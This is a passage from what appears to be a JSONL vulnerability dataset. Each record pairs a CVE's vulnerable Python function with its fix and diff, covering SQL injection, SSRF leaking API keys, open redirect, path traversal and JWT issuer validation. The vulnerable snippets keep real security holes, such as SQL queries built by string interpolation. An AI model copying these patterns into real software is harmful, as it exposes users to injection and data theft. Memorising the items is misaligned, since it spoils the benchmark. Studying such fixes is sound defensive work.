Get a list of matching node names that begin with these letters\n    if debug:\n        print(f\"INFO: Query 1\")\n    #cursor.execute(\"SELECT term FROM term WHERE term LIKE \\\"%s%%\\\" ORDER BY length(term),term LIMIT %s\" % (word,1000))\n    cursor.execute(f\"SELECT term FROM terms WHERE term > \\\"{floor}\\\" AND term < \\\"{ceiling}\\\" AND term LIKE \\\"{word}%%\\\" ORDER BY length(term),term LIMIT {requested_limit}\")\n    rows = cursor.fetchall()\n    values_dict = {}\n    for row in rows:\n        term = row[0]\n        if term.upper() not in values_dict:\n            if debug:\n                print(f\"    - {term}\")\n            properties = { \"curie\": '??', \"name\": term, \"type\": '??' }\n            values.append(properties)\n            values_dict[term.upper()] = 1\n            n_values += 1\n            if n_values >= requested_limit:\n                break\n    t1 = timeit.default_timer()\n    if debug:\n        print(f\"INFO: Query 1 in {t1-t0} sec\")\n\n    #### If we haven't reached the limit yet, add a list of matching terms that contain this string\n    if n_values < requested_limit:\n        if debug:\n            print(f\"INFO: Query 2\")\n\n        #### See if there is a cached entry already\n        word_part = word\n        found_fragment = None\n        while len(word_part) > 2:\n            cursor.execute(f\"SELECT rowid, fragment FROM cached_fragments WHERE fragment == \\\"{word_part}\\\"\")\n            rows = cursor.fetchall()\n            if len(rows) > 0:\n                fragment_id = rows[0][0]\n                found_fragment = rows[0][1]\n                break\n            word_part = word_part[:-1]\n\n        if found_fragment:\n            if debug:\n                print(f\"Found matching fragment {found_fragment} as fragment_id {fragment_id}\")\n\n            cursor.execute(f\"SELECT term FROM cached_fragment_terms WHERE fragment_id = {fragment_id} AND term LIKE \\\"%%{word}%%\\\"\")\n            rows = cursor.fetchall()\n\n            for row in rows:\n                term = row[0]\n                if term.upper() not in values_dict:\n\n                    if n_values < requested_limit:\n                        if debug:\n                            print(f\"    - {term}\")\n                        properties = { \"curie\": '??', \"name\": term, \"type\": '??' }\n                        values.append(properties)\n                        n_values += 1\n\n\n        if found_fragment is None:\n\n            #### Cache this fragment in the database\n            try:\n                cursor.execute(\"INSERT INTO cached_fragments(fragment) VALUES(?)\", (word,))\n                fragment_id = cursor.lastrowid\n            except:\n                print(f\"ERROR: Unable to INSERT into cached_fragments(fragment)\",file=sys.stderr)\n                fragment_id = 0\n            if debug:\n                print(f\"fragment_id = {fragment_id}\")\n\n            #### Execute an expensive LIKE query\n            cursor.execute(\"SELECT term FROM terms WHERE term LIKE \\\"%%%s%%\\\" ORDER BY length(term),term LIMIT %s\" % (word,10000))\n            rows = cursor.fetchall()\n\n            for row in rows:\n                term = row[0]\n                if term.upper() not in values_dict:\n\n                    if n_values < requested_limit:\n                        if debug:\n                            print(f\"    - {term}\")\n                        properties = { \"curie\": '??', \"name\": term, \"type\": '??' }\n                        values.append(properties)\n                        n_values += 1\n\n                    values_dict[term.upper()] = 1\n                    cursor.execute(\"INSERT INTO cached_fragment_terms(fragment_id, term) VALUES(?,?)\", (fragment_id, term,))\n            conn.commit()\n\n        t2 = timeit.default_timer()\n        if debug:\n            print(f\"INFO: Query 2 in {t2-t1} sec\")\n\n\n    return(values)"}], "vul_patch": "--- a/code/autocomplete/rtxcomplete.py\n+++ b/code/autocomplete/rtxcomplete.py\n@@ -10,6 +10,9 @@\n \n     if len(word) < 2:\n         return values\n+\n+    #### Try to avoid SQL injection exploits by sanitizing input #1823\n+    word = word.replace('\"','')\n \n     floor = word[:-1]\n     ceiling = floor + 'zz'\n@@ -75,8 +78,12 @@\n         if found_fragment is None:\n \n             #### Cache this fragment in the database\n-            cursor.execute(\"INSERT INTO cached_fragments(fragment) VALUES(?)\", (word,))\n-            fragment_id = cursor.lastrowid\n+            try:\n+                cursor.execute(\"INSERT INTO cached_fragments(fragment) VALUES(?)\", (word,))\n+                fragment_id = cursor.lastrowid\n+            except:\n+                print(f\"ERROR: Unable to INSERT into cached_fragments(fragment)\",file=sys.stderr)\n+                fragment_id = 0\n             if debug:\n                 print(f\"fragment_id = {fragment_id}\")\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-6587", "cve_description": "A Server-Side Request Forgery (SSRF) vulnerability exists in berriai/litellm version 1.38.10. This vulnerability allows users to specify the `api_base` parameter when making requests to `POST /chat/completions`, causing the application to send the request to the domain specified by `api_base`. This request includes the OpenAI API key. A malicious user can set the `api_base` to their own domain and intercept the OpenAI API key, leading to unauthorized access and potential misuse of the API key.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/berriai/litellm", "patch_url": ["https://github.com/berriai/litellm/commit/ba1912afd1b19e38d3704bb156adf887f91ae1e0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_164_1", "commit": "0b9782a", "file_path": "litellm/proxy/auth/auth_checks.py", "start_line": 43, "end_line": 202, "snippet": "def common_checks(\n    request_body: dict,\n    team_object: Optional[LiteLLM_TeamTable],\n    user_object: Optional[LiteLLM_UserTable],\n    end_user_object: Optional[LiteLLM_EndUserTable],\n    global_proxy_spend: Optional[float],\n    general_settings: dict,\n    route: str,\n) -> bool:\n    \"\"\"\n    Common checks across jwt + key-based auth.\n\n    1. If team is blocked\n    2. If team can call model\n    3. If team is in budget\n    4. If user passed in (JWT or key.user_id) - is in budget\n    5. If end_user (either via JWT or 'user' passed to /chat/completions, /embeddings endpoint) is in budget\n    6. [OPTIONAL] If 'enforce_end_user' enabled - did developer pass in 'user' param for openai endpoints\n    7. [OPTIONAL] If 'litellm.max_budget' is set (>0), is proxy under budget\n    8. [OPTIONAL] If guardrails modified - is request allowed to change this\n    \"\"\"\n    _model = request_body.get(\"model\", None)\n    if team_object is not None and team_object.blocked is True:\n        raise Exception(\n            f\"Team={team_object.team_id} is blocked. Update via `/team/unblock` if your admin.\"\n        )\n    # 2. If team can call model\n    if (\n        _model is not None\n        and team_object is not None\n        and len(team_object.models) > 0\n        and _model not in team_object.models\n    ):\n        # this means the team has access to all models on the proxy\n        if (\n            \"all-proxy-models\" in team_object.models\n            or \"*\" in team_object.models\n            or \"openai/*\" in team_object.models\n        ):\n            # this means the team has access to all models on the proxy\n            pass\n        # check if the team model is an access_group\n        elif model_in_access_group(_model, team_object.models) is True:\n            pass\n        elif _model and \"*\" in _model:\n            pass\n        else:\n            raise Exception(\n                f\"Team={team_object.team_id} not allowed to call model={_model}. Allowed team models = {team_object.models}\"\n            )\n    # 3. If team is in budget\n    if (\n        team_object is not None\n        and team_object.max_budget is not None\n        and team_object.spend is not None\n        and team_object.spend > team_object.max_budget\n    ):\n        raise litellm.BudgetExceededError(\n            current_cost=team_object.spend,\n            max_budget=team_object.max_budget,\n            message=f\"Team={team_object.team_id} over budget. Spend={team_object.spend}, Budget={team_object.max_budget}\",\n        )\n    # 4. If user is in budget\n    ## 4.1 check personal budget, if personal key\n    if (\n        (team_object is None or team_object.team_id is None)\n        and user_object is not None\n        and user_object.max_budget is not None\n    ):\n        user_budget = user_object.max_budget\n        if user_budget < user_object.spend:\n            raise litellm.BudgetExceededError(\n                current_cost=user_object.spend,\n                max_budget=user_budget,\n                message=f\"ExceededBudget: User={user_object.user_id} over budget. Spend={user_object.spend}, Budget={user_budget}\",\n            )\n    ## 4.2 check team member budget, if team key\n    # 5. If end_user ('user' passed to /chat/completions, /embeddings endpoint) is in budget\n    if end_user_object is not None and end_user_object.litellm_budget_table is not None:\n        end_user_budget = end_user_object.litellm_budget_table.max_budget\n        if end_user_budget is not None and end_user_object.spend > end_user_budget:\n            raise litellm.BudgetExceededError(\n                current_cost=end_user_object.spend,\n                max_budget=end_user_budget,\n                message=f\"ExceededBudget: End User={end_user_object.user_id} over budget. Spend={end_user_object.spend}, Budget={end_user_budget}\",\n            )\n    # 6. [OPTIONAL] If 'enforce_user_param' enabled - did developer pass in 'user' param for openai endpoints\n    if (\n        general_settings.get(\"enforce_user_param\", None) is not None\n        and general_settings[\"enforce_user_param\"] == True\n    ):\n        if is_llm_api_route(route=route) and \"user\" not in request_body:\n            raise Exception(\n                f\"'user' param not passed in. 'enforce_user_param'={general_settings['enforce_user_param']}\"\n            )\n    if general_settings.get(\"enforced_params\", None) is not None:\n        # Enterprise ONLY Feature\n        # we already validate if user is premium_user when reading the config\n        # Add an extra premium_usercheck here too, just incase\n        from litellm.proxy.proxy_server import CommonProxyErrors, premium_user\n\n        if premium_user is not True:\n            raise ValueError(\n                \"Trying to use `enforced_params`\"\n                + CommonProxyErrors.not_premium_user.value\n            )\n\n        if is_llm_api_route(route=route):\n            # loop through each enforced param\n            # example enforced_params ['user', 'metadata', 'metadata.generation_name']\n            for enforced_param in general_settings[\"enforced_params\"]:\n                _enforced_params = enforced_param.split(\".\")\n                if len(_enforced_params) == 1:\n                    if _enforced_params[0] not in request_body:\n                        raise ValueError(\n                            f\"BadRequest please pass param={_enforced_params[0]} in request body. This is a required param\"\n                        )\n                elif len(_enforced_params) == 2:\n                    # this is a scenario where user requires request['metadata']['generation_name'] to exist\n                    if _enforced_params[0] not in request_body:\n                        raise ValueError(\n                            f\"BadRequest please pass param={_enforced_params[0]} in request body. This is a required param\"\n                        )\n                    if _enforced_params[1] not in request_body[_enforced_params[0]]:\n                        raise ValueError(\n                            f\"BadRequest please pass param=[{_enforced_params[0]}][{_enforced_params[1]}] in request body. This is a required param\"\n                        )\n\n        pass\n    # 7. [OPTIONAL] If 'litellm.max_budget' is set (>0), is proxy under budget\n    if (\n        litellm.max_budget > 0\n        and global_proxy_spend is not None\n        # only run global budget checks for OpenAI routes\n        # Reason - the Admin UI should continue working if the proxy crosses it's global budget\n        and is_llm_api_route(route=route)\n        and route != \"/v1/models\"\n        and route != \"/models\"\n    ):\n        if global_proxy_spend > litellm.max_budget:\n            raise litellm.BudgetExceededError(\n                current_cost=global_proxy_spend, max_budget=litellm.max_budget\n            )\n\n    _request_metadata: dict = request_body.get(\"metadata\", {}) or {}\n    if _request_metadata.get(\"guardrails\"):\n        # check if team allowed to modify guardrails\n        from litellm.proxy.guardrails.guardrail_helpers import can_modify_guardrails\n\n        can_modify: bool = can_modify_guardrails(team_object)\n        if can_modify is False:\n            from fastapi import HTTPException\n\n            raise HTTPException(\n                status_code=403,\n                detail={\n                    \"error\": \"Your team does not have permission to modify guardrails.\"\n                },\n            )\n    return True"}], "fix_func": [{"id": "fix_py_164_2", "commit": "ba1912a", "file_path": "litellm/proxy/auth/auth_checks.py", "start_line": 43, "end_line": 56, "snippet": "def is_request_body_safe(request_body: dict) -> bool:\n    \"\"\"\n    Check if the request body is safe.\n\n    A malicious user can set the \\ufeffapi_base to their own domain and invoke POST /chat/completions to intercept and steal the OpenAI API key.\n    Relevant issue: https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997\n    \"\"\"\n    banned_params = [\"api_base\", \"base_url\"]\n\n    for param in banned_params:\n        if param in request_body:\n            raise ValueError(f\"BadRequest: {param} is not allowed in request body\")\n\n    return True"}, {"id": "fix_py_164_1", "commit": "ba1912a", "file_path": "litellm/proxy/auth/auth_checks.py", "start_line": 59, "end_line": 220, "snippet": "def common_checks(\n    request_body: dict,\n    team_object: Optional[LiteLLM_TeamTable],\n    user_object: Optional[LiteLLM_UserTable],\n    end_user_object: Optional[LiteLLM_EndUserTable],\n    global_proxy_spend: Optional[float],\n    general_settings: dict,\n    route: str,\n) -> bool:\n    \"\"\"\n    Common checks across jwt + key-based auth.\n\n    1. If team is blocked\n    2. If team can call model\n    3. If team is in budget\n    4. If user passed in (JWT or key.user_id) - is in budget\n    5. If end_user (either via JWT or 'user' passed to /chat/completions, /embeddings endpoint) is in budget\n    6. [OPTIONAL] If 'enforce_end_user' enabled - did developer pass in 'user' param for openai endpoints\n    7. [OPTIONAL] If 'litellm.max_budget' is set (>0), is proxy under budget\n    8. [OPTIONAL] If guardrails modified - is request allowed to change this\n    9. Check if request body is safe\n    \"\"\"\n    _model = request_body.get(\"model\", None)\n    if team_object is not None and team_object.blocked is True:\n        raise Exception(\n            f\"Team={team_object.team_id} is blocked. Update via `/team/unblock` if your admin.\"\n        )\n    # 2. If team can call model\n    if (\n        _model is not None\n        and team_object is not None\n        and len(team_object.models) > 0\n        and _model not in team_object.models\n    ):\n        # this means the team has access to all models on the proxy\n        if (\n            \"all-proxy-models\" in team_object.models\n            or \"*\" in team_object.models\n            or \"openai/*\" in team_object.models\n        ):\n            # this means the team has access to all models on the proxy\n            pass\n        # check if the team model is an access_group\n        elif model_in_access_group(_model, team_object.models) is True:\n            pass\n        elif _model and \"*\" in _model:\n            pass\n        else:\n            raise Exception(\n                f\"Team={team_object.team_id} not allowed to call model={_model}. Allowed team models = {team_object.models}\"\n            )\n    # 3. If team is in budget\n    if (\n        team_object is not None\n        and team_object.max_budget is not None\n        and team_object.spend is not None\n        and team_object.spend > team_object.max_budget\n    ):\n        raise litellm.BudgetExceededError(\n            current_cost=team_object.spend,\n            max_budget=team_object.max_budget,\n            message=f\"Team={team_object.team_id} over budget. Spend={team_object.spend}, Budget={team_object.max_budget}\",\n        )\n    # 4. If user is in budget\n    ## 4.1 check personal budget, if personal key\n    if (\n        (team_object is None or team_object.team_id is None)\n        and user_object is not None\n        and user_object.max_budget is not None\n    ):\n        user_budget = user_object.max_budget\n        if user_budget < user_object.spend:\n            raise litellm.BudgetExceededError(\n                current_cost=user_object.spend,\n                max_budget=user_budget,\n                message=f\"ExceededBudget: User={user_object.user_id} over budget. Spend={user_object.spend}, Budget={user_budget}\",\n            )\n    ## 4.2 check team member budget, if team key\n    # 5. If end_user ('user' passed to /chat/completions, /embeddings endpoint) is in budget\n    if end_user_object is not None and end_user_object.litellm_budget_table is not None:\n        end_user_budget = end_user_object.litellm_budget_table.max_budget\n        if end_user_budget is not None and end_user_object.spend > end_user_budget:\n            raise litellm.BudgetExceededError(\n                current_cost=end_user_object.spend,\n                max_budget=end_user_budget,\n                message=f\"ExceededBudget: End User={end_user_object.user_id} over budget. Spend={end_user_object.spend}, Budget={end_user_budget}\",\n            )\n    # 6. [OPTIONAL] If 'enforce_user_param' enabled - did developer pass in 'user' param for openai endpoints\n    if (\n        general_settings.get(\"enforce_user_param\", None) is not None\n        and general_settings[\"enforce_user_param\"] == True\n    ):\n        if is_llm_api_route(route=route) and \"user\" not in request_body:\n            raise Exception(\n                f\"'user' param not passed in. 'enforce_user_param'={general_settings['enforce_user_param']}\"\n            )\n    if general_settings.get(\"enforced_params\", None) is not None:\n        # Enterprise ONLY Feature\n        # we already validate if user is premium_user when reading the config\n        # Add an extra premium_usercheck here too, just incase\n        from litellm.proxy.proxy_server import CommonProxyErrors, premium_user\n\n        if premium_user is not True:\n            raise ValueError(\n                \"Trying to use `enforced_params`\"\n                + CommonProxyErrors.not_premium_user.value\n            )\n\n        if is_llm_api_route(route=route):\n            # loop through each enforced param\n            # example enforced_params ['user', 'metadata', 'metadata.generation_name']\n            for enforced_param in general_settings[\"enforced_params\"]:\n                _enforced_params = enforced_param.split(\".\")\n                if len(_enforced_params) == 1:\n                    if _enforced_params[0] not in request_body:\n                        raise ValueError(\n                            f\"BadRequest please pass param={_enforced_params[0]} in request body. This is a required param\"\n                        )\n                elif len(_enforced_params) == 2:\n                    # this is a scenario where user requires request['metadata']['generation_name'] to exist\n                    if _enforced_params[0] not in request_body:\n                        raise ValueError(\n                            f\"BadRequest please pass param={_enforced_params[0]} in request body. This is a required param\"\n                        )\n                    if _enforced_params[1] not in request_body[_enforced_params[0]]:\n                        raise ValueError(\n                            f\"BadRequest please pass param=[{_enforced_params[0]}][{_enforced_params[1]}] in request body. This is a required param\"\n                        )\n\n        pass\n    # 7. [OPTIONAL] If 'litellm.max_budget' is set (>0), is proxy under budget\n    if (\n        litellm.max_budget > 0\n        and global_proxy_spend is not None\n        # only run global budget checks for OpenAI routes\n        # Reason - the Admin UI should continue working if the proxy crosses it's global budget\n        and is_llm_api_route(route=route)\n        and route != \"/v1/models\"\n        and route != \"/models\"\n    ):\n        if global_proxy_spend > litellm.max_budget:\n            raise litellm.BudgetExceededError(\n                current_cost=global_proxy_spend, max_budget=litellm.max_budget\n            )\n\n    _request_metadata: dict = request_body.get(\"metadata\", {}) or {}\n    if _request_metadata.get(\"guardrails\"):\n        # check if team allowed to modify guardrails\n        from litellm.proxy.guardrails.guardrail_helpers import can_modify_guardrails\n\n        can_modify: bool = can_modify_guardrails(team_object)\n        if can_modify is False:\n            from fastapi import HTTPException\n\n            raise HTTPException(\n                status_code=403,\n                detail={\n                    \"error\": \"Your team does not have permission to modify guardrails.\"\n                },\n            )\n    is_request_body_safe(request_body=request_body)\n    return True"}], "vul_patch": "--- a/litellm/proxy/auth/auth_checks.py\n+++ b/litellm/proxy/auth/auth_checks.py\n@@ -18,6 +18,7 @@\n     6. [OPTIONAL] If 'enforce_end_user' enabled - did developer pass in 'user' param for openai endpoints\n     7. [OPTIONAL] If 'litellm.max_budget' is set (>0), is proxy under budget\n     8. [OPTIONAL] If guardrails modified - is request allowed to change this\n+    9. Check if request body is safe\n     \"\"\"\n     _model = request_body.get(\"model\", None)\n     if team_object is not None and team_object.blocked is True:\n@@ -157,4 +158,5 @@\n                     \"error\": \"Your team does not have permission to modify guardrails.\"\n                 },\n             )\n+    is_request_body_safe(request_body=request_body)\n     return True\n\n--- /dev/null\n+++ b/litellm/proxy/auth/auth_checks.py\n@@ -0,0 +1,14 @@\n+def is_request_body_safe(request_body: dict) -> bool:\n+    \"\"\"\n+    Check if the request body is safe.\n+\n+    A malicious user can set the \\ufeffapi_base to their own domain and invoke POST /chat/completions to intercept and steal the OpenAI API key.\n+    Relevant issue: https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997\n+    \"\"\"\n+    banned_params = [\"api_base\", \"base_url\"]\n+\n+    for param in banned_params:\n+        if param in request_body:\n+            raise ValueError(f\"BadRequest: {param} is not allowed in request body\")\n+\n+    return True\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0637", "cve_description": "open redirect in pollbot (pollbot.services.mozilla.com) in versions before 1.4.6", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/mozilla/PollBot", "patch_url": ["https://github.com/mozilla/PollBot/commit/e39d8bec2df582ba525bb2e2f33c3ebc584d7ff8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_217_1", "commit": "5c05a73", "file_path": "pollbot/middlewares.py", "start_line": 61, "end_line": 69, "snippet": "async def handle_404(request, response):\n    if 'json' not in response.headers['Content-Type']:\n        if request.path.endswith('/'):\n            return web.HTTPFound('/' + request.path.strip('/'))\n        return web.json_response({\n            \"status\": 404,\n            \"message\": \"Page '{}' not found\".format(request.path)\n        }, status=404)\n    return response"}], "fix_func": [{"id": "fix_py_217_1", "commit": "e39d8be", "file_path": "pollbot/middlewares.py", "start_line": 62, "end_line": 74, "snippet": "async def handle_404(request, response):\n    if 'json' not in response.headers['Content-Type']:\n        # This traling slash redirect has caused security issues.\n        # If it continues to be problematic, consider:\n        #  - only redirect \"/v1/.../\"?\n        #  - remove the redirect entirely; use duplicate routes instead, in app.py\n        if request.path.endswith('/'):\n            return web.HTTPFound('/' + request.path.strip('/'+string.whitespace))\n        return web.json_response({\n            \"status\": 404,\n            \"message\": \"Page '{}' not found\".format(request.path)\n        }, status=404)\n    return response"}], "vul_patch": "--- a/pollbot/middlewares.py\n+++ b/pollbot/middlewares.py\n@@ -1,7 +1,11 @@\n async def handle_404(request, response):\n     if 'json' not in response.headers['Content-Type']:\n+        # This traling slash redirect has caused security issues.\n+        # If it continues to be problematic, consider:\n+        #  - only redirect \"/v1/.../\"?\n+        #  - remove the redirect entirely; use duplicate routes instead, in app.py\n         if request.path.endswith('/'):\n-            return web.HTTPFound('/' + request.path.strip('/'))\n+            return web.HTTPFound('/' + request.path.strip('/'+string.whitespace))\n         return web.json_response({\n             \"status\": 404,\n             \"message\": \"Page '{}' not found\".format(request.path)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-56142", "cve_description": "pghoard is a PostgreSQL backup daemon and restore tooling that stores backup data in cloud object stores. A vulnerability has been discovered that could allow an attacker to acquire disk access with privileges equivalent to those of pghoard, allowing for unintended path traversal. Depending on the permissions/privileges assigned to pghoard, this could allow disclosure of sensitive information. This issue has been addressed in releases after 2.2.2a. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/Aiven-Open/pghoard", "patch_url": ["https://github.com/Aiven-Open/pghoard/commit/fe9947642cc73bcacf6d19b93eb98f442223fb47"], "programing_language": "Python", "vul_func": [{"id": "vul_py_316_1", "commit": "b93b132", "file_path": "pghoard/webserver.py", "start_line": "604", "end_line": "662", "snippet": "    def handle_archival_request(self, site, filename, filetype):\n        if filetype == \"basebackup\":\n            # Request a basebackup to be made for site\n            self.server.log.debug(\"Requesting a new basebackup for site: %r to be made\", site)\n            self.server.requested_basebackup_sites.add(site)\n            raise HttpResponse(status=201)\n\n        start_time = time.time()\n\n        site_config = self.server.config[\"backup_sites\"][site]\n        xlog_dir = get_pg_wal_directory(site_config)\n        xlog_path = os.path.join(xlog_dir, filename)\n        self.server.log.debug(\"Got request to archive: %r %r %r, %r\", site, filetype, filename, xlog_path)\n        if not os.path.exists(xlog_path):\n            self.server.log.debug(\"xlog_path: %r did not exist, cannot archive, returning 404\", xlog_path)\n            raise HttpResponse(\"N/A\", status=404)\n\n        if filetype == \"xlog\":\n            try:\n                wal.verify_wal(wal_name=filename, filepath=xlog_path)\n            except ValueError as ex:\n                raise HttpResponse(str(ex), status=412)\n\n        callback_queue = Queue()\n        if not self.server.config[\"backup_sites\"][site][\"object_storage\"]:\n            compress_to_memory = False\n        else:\n            compress_to_memory = True\n        if filename.endswith(\".history\"):\n            filetype = FileType.Timeline\n        else:\n            filetype = FileType.Wal\n        compression_event = CompressionEvent(\n            callback_queue=callback_queue,\n            compress_to_memory=compress_to_memory,\n            delete_file_after_compression=False,\n            file_path=FileTypePrefixes[filetype] / filename,\n            source_data=Path(xlog_path),\n            file_type=filetype,\n            backup_site_name=site,\n            metadata={}\n        )\n        self.server.compression_queue.put(compression_event)\n        try:\n            response = callback_queue.get(timeout=30)\n            self.server.log.debug(\n                \"Handled an archival request for: %r %r, took: %.3fs\", site, xlog_path,\n                time.time() - start_time\n            )\n        except Empty:\n            self.server.log.exception(\n                \"Problem in getting a response in time, returning 404, took: %.2fs\",\n                time.time() - start_time\n            )\n            raise HttpResponse(\"TIMEOUT\", status=500)\n\n        if not response.success:\n            raise HttpResponse(status=500)\n        raise HttpResponse(status=201)"}], "fix_func": [{"id": "fix_py_316_1", "commit": "fe99476", "file_path": "pghoard/webserver.py", "start_line": "610", "end_line": "668", "snippet": "    def handle_archival_request(self, site, filename, filetype):\n        if filetype == \"basebackup\":\n            # Request a basebackup to be made for site\n            self.server.log.debug(\"Requesting a new basebackup for site: %r to be made\", site)\n            self.server.requested_basebackup_sites.add(site)\n            raise HttpResponse(status=201)\n\n        start_time = time.time()\n\n        site_config = self.server.config[\"backup_sites\"][site]\n        xlog_dir = get_pg_wal_directory(site_config)\n        xlog_path = os.path.join(xlog_dir, filename)\n        self.server.log.debug(\"Got request to archive: %r %r %r, %r\", site, filetype, filename, xlog_path)\n        if not self._is_valid_xlog_path(xlog_path):\n            self.server.log.debug(\"xlog_path: %r did not exist or contains symlinks, cannot archive, returning 404\", xlog_path)\n            raise HttpResponse(\"N/A\", status=404)\n\n        if filetype == \"xlog\":\n            try:\n                wal.verify_wal(wal_name=filename, filepath=xlog_path)\n            except ValueError as ex:\n                raise HttpResponse(str(ex), status=412)\n\n        callback_queue = Queue()\n        if not self.server.config[\"backup_sites\"][site][\"object_storage\"]:\n            compress_to_memory = False\n        else:\n            compress_to_memory = True\n        if filename.endswith(\".history\"):\n            filetype = FileType.Timeline\n        else:\n            filetype = FileType.Wal\n        compression_event = CompressionEvent(\n            callback_queue=callback_queue,\n            compress_to_memory=compress_to_memory,\n            delete_file_after_compression=False,\n            file_path=FileTypePrefixes[filetype] / filename,\n            source_data=Path(xlog_path),\n            file_type=filetype,\n            backup_site_name=site,\n            metadata={}\n        )\n        self.server.compression_queue.put(compression_event)\n        try:\n            response = callback_queue.get(timeout=30)\n            self.server.log.debug(\n                \"Handled an archival request for: %r %r, took: %.3fs\", site, xlog_path,\n                time.time() - start_time\n            )\n        except Empty:\n            self.server.log.exception(\n                \"Problem in getting a response in time, returning 404, took: %.2fs\",\n                time.time() - start_time\n            )\n            raise HttpResponse(\"TIMEOUT\", status=500)\n\n        if not response.success:\n            raise HttpResponse(status=500)\n        raise HttpResponse(status=201)"}, {"id": "fix_py_316_2", "commit": "fe99476", "file_path": "pghoard/webserver.py", "start_line": "514", "end_line": "517", "snippet": "    @staticmethod\n    def _is_valid_xlog_path(xlog_path_str: str) -> bool:\n        xlog_path = Path(xlog_path_str)\n        return xlog_path.is_file() and not xlog_path.is_symlink()"}], "vul_patch": "--- a/pghoard/webserver.py\n+++ b/pghoard/webserver.py\n@@ -11,8 +11,8 @@\n         xlog_dir = get_pg_wal_directory(site_config)\n         xlog_path = os.path.join(xlog_dir, filename)\n         self.server.log.debug(\"Got request to archive: %r %r %r, %r\", site, filetype, filename, xlog_path)\n-        if not os.path.exists(xlog_path):\n-            self.server.log.debug(\"xlog_path: %r did not exist, cannot archive, returning 404\", xlog_path)\n+        if not self._is_valid_xlog_path(xlog_path):\n+            self.server.log.debug(\"xlog_path: %r did not exist or contains symlinks, cannot archive, returning 404\", xlog_path)\n             raise HttpResponse(\"N/A\", status=404)\n \n         if filetype == \"xlog\":\n\n--- /dev/null\n+++ b/pghoard/webserver.py\n@@ -0,0 +1,4 @@\n+    @staticmethod\n+    def _is_valid_xlog_path(xlog_path_str: str) -> bool:\n+        xlog_path = Path(xlog_path_str)\n+        return xlog_path.is_file() and not xlog_path.is_symlink()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-14695", "cve_description": "Directory traversal vulnerability in minion id validation in SaltStack Salt before 2016.3.8, 2016.11.x before 2016.11.8, and 2017.7.x before 2017.7.2 allows remote minions with incorrect credentials to authenticate to a master via a crafted minion ID.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-12791.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/saltstack/salt", "patch_url": ["https://github.com/saltstack/salt/commit/80d90307b07b3703428ecbb7c8bb468e28a9ae6d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_383_1", "commit": "5f8b5e1a0f23fe0f2be5b3c3e04199b57a53db5b", "file_path": "salt/utils/verify.py", "start_line": 492, "end_line": 499, "snippet": "def valid_id(opts, id_):\n    '''\n    Returns if the passed id is valid\n    '''\n    try:\n        return bool(clean_path(opts['pki_dir'], id_)) and clean_id(id_)\n    except (AttributeError, KeyError, TypeError) as e:\n        return False"}], "fix_func": [{"id": "fix_py_383_1", "commit": "80d90307b07b3703428ecbb7c8bb468e28a9ae6d", "file_path": "salt/utils/verify.py", "start_line": 483, "end_line": 492, "snippet": "def valid_id(opts, id_):\n    '''\n    Returns if the passed id is valid\n    '''\n    try:\n        if any(x in id_ for x in ('/', '\\\\', '\\0')):\n            return False\n        return bool(clean_path(opts['pki_dir'], id_))\n    except (AttributeError, KeyError, TypeError):\n        return False"}], "vul_patch": "--- a/salt/utils/verify.py\n+++ b/salt/utils/verify.py\n@@ -3,6 +3,8 @@\n     Returns if the passed id is valid\n     '''\n     try:\n-        return bool(clean_path(opts['pki_dir'], id_)) and clean_id(id_)\n-    except (AttributeError, KeyError, TypeError) as e:\n+        if any(x in id_ for x in ('/', '\\\\', '\\0')):\n+            return False\n+        return bool(clean_path(opts['pki_dir'], id_))\n+    except (AttributeError, KeyError, TypeError):\n         return False\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-30144", "cve_description": "fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.", "cwe_info": {"CWE-345": {"name": "Insufficient Verification of Data Authenticity", "description": "The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data."}}, "repo": "https://github.com/nearform/fast-jwt", "patch_url": ["https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd"], "programing_language": "JavaScript", "vul_func": [{"id": 